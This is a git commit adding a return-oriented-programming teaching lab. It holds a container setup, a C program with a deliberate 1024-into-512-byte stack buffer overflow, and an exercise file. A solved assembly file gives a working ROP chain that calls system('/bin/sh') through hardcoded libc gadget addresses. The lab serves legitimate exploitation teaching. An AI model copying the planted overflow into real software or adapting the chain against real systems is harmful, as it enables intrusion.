added ropgadget example
This commit is contained in:
commit
28c424a1a4
1
ropgadget01/.gitignore
vendored
Normal file
1
ropgadget01/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
data/.gef-2025.01.py
|
21
ropgadget01/Containerfile
Normal file
21
ropgadget01/Containerfile
Normal file
@ -0,0 +1,21 @@
|
||||
FROM debian:bookworm-slim
|
||||
|
||||
# prepare container
|
||||
RUN apt update && apt install -y bash vim less nasm nano gdb make gcc python3 python3-ropgadget python3-pwntools git ca-certificates curl python3-pip file inetutils-ping procps
|
||||
RUN apt-get clean && rm -rf /var/lib/apt/lists/* # minimize
|
||||
|
||||
RUN useradd -m -s /bin/bash student
|
||||
COPY ./welcome_screen /etc/motd
|
||||
|
||||
# prepare student account
|
||||
USER student
|
||||
COPY --chown=student:student ./data/ /home/student
|
||||
|
||||
RUN echo '[ ! -z "$TERM" -a -r /etc/motd ] && cat /etc/motd; export LANG=C.UTF-8' \
|
||||
>> /home/student/.bashrc
|
||||
|
||||
RUN echo 'source /home/student/.gef-2025.01.py' \
|
||||
>> /home/student/.gdbinit
|
||||
|
||||
WORKDIR /home/student
|
||||
ENTRYPOINT ["/bin/bash"]
|
6
ropgadget01/build-image.sh
Executable file
6
ropgadget01/build-image.sh
Executable file
@ -0,0 +1,6 @@
|
||||
#!/bin/bash
|
||||
podman image rm ropgadget01
|
||||
|
||||
podman image build \
|
||||
--tag ropgadget01 \
|
||||
--file ~/pod/Containerfile
|
10
ropgadget01/data/Makefile
Normal file
10
ropgadget01/data/Makefile
Normal file
@ -0,0 +1,10 @@
|
||||
all: ropme input
|
||||
|
||||
input:
|
||||
nasm -f bin ./input.asm
|
||||
|
||||
clean:
|
||||
rm -f ropme
|
||||
|
||||
bufoverflow:
|
||||
gcc ropme.c -o ropme -O3 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse
|
10
ropgadget01/data/input.asm
Normal file
10
ropgadget01/data/input.asm
Normal file
@ -0,0 +1,10 @@
|
||||
bits 64
|
||||
|
||||
global _start
|
||||
_start:
|
||||
; we place /bin/sh and a few zero bytes at the start (16B)
|
||||
db '/bin/sh', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
|
||||
times 0x1f0 nop ; fill buffer, i.e., 512B in total
|
||||
|
||||
; TODO: complete me from here
|
23
ropgadget01/data/input.solved.asm
Normal file
23
ropgadget01/data/input.solved.asm
Normal file
@ -0,0 +1,23 @@
|
||||
bits 64
|
||||
|
||||
global _start
|
||||
_start:
|
||||
; we place /bin/sh and a few zero bytes at the start (16B)
|
||||
db '/bin/sh', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
|
||||
times 0x1f0 nop ; fill buffer, i.e., 512B in total
|
||||
|
||||
times 0x10 nop ; buffer is at rbp+0x210, so skip 0x10 more
|
||||
times 0x8 nop ; overwrite saved rbp
|
||||
|
||||
dq 0x7ffff7e007e5 ; pop rdi + ret
|
||||
; real version
|
||||
dq 0x7fffffffe2a0 ; ptr to buffer, which contains "/bin/sh" at the start
|
||||
; gdb version
|
||||
; dq 0x7fffffffe250 ; ptr to buffer, which contains "/bin/sh" at the start
|
||||
|
||||
dq 0x7ffff7e007e6 ; just ret -- this will change the stack by 8B
|
||||
dq 0x7ffff7e25490 ; system("/bin/sh")
|
||||
dq 0x7ffff7e007e5 ; pop rdi
|
||||
dq 0
|
||||
dq 0x7ffff7e17680 ; exit(0)
|
71
ropgadget01/data/input.txt
Normal file
71
ropgadget01/data/input.txt
Normal file
@ -0,0 +1,71 @@
|
||||
/bin/sh
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
23
ropgadget01/data/ropme.c
Normal file
23
ropgadget01/data/ropme.c
Normal file
@ -0,0 +1,23 @@
|
||||
// usage: ropme <input-filename>
|
||||
//
|
||||
// Goal: invoke /bin/bash using ROP
|
||||
//
|
||||
// files with more than 512B content will cause overflows.
|
||||
// smaller files work just fine.
|
||||
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int mystr(char *fn) {
|
||||
char mystr[512];
|
||||
*(uint64_t *) mystr = 0; // zero first 8 bytes
|
||||
register FILE *f = fopen(fn, "rb");
|
||||
fread(mystr, 1024, 1, f); // VULNERABLE! reading 1024B into 512B buf
|
||||
return mystr[0];
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) { printf("too few args."); return 1; }
|
||||
return mystr(argv[1]);
|
||||
}
|
11
ropgadget01/exec_pod.sh
Executable file
11
ropgadget01/exec_pod.sh
Executable file
@ -0,0 +1,11 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Create a unique container name for each session
|
||||
|
||||
# Run a container in interactive mode, delete it on exit
|
||||
exec podman run --rm -it \
|
||||
--hostname "lab" \
|
||||
--cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
|
||||
--memory="512m" --cpus="1.0" \
|
||||
ropgadget01
|
||||
#--network none \
|
13
ropgadget01/welcome_screen
Normal file
13
ropgadget01/welcome_screen
Normal file
@ -0,0 +1,13 @@
|
||||
/**********************************************************************/
|
||||
ROP GADGET LAB
|
||||
|
||||
USAGE EXAMPLES:
|
||||
ldd /bin/bash # see linked libraries
|
||||
ROPgadget --help # see ROPgadget help
|
||||
# search all gadgets in libc
|
||||
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6
|
||||
|
||||
IMPORTANT: THESE EXAMPLES ASSUME ASLR IS DISABLED. FOR PWNING, YOU
|
||||
SHOULD RUN ALL PROGRAMS PREFIXED WITH `setarch `uname -m` -R`
|
||||
|
||||
/**********************************************************************/
|
Loading…
x
Reference in New Issue
Block a user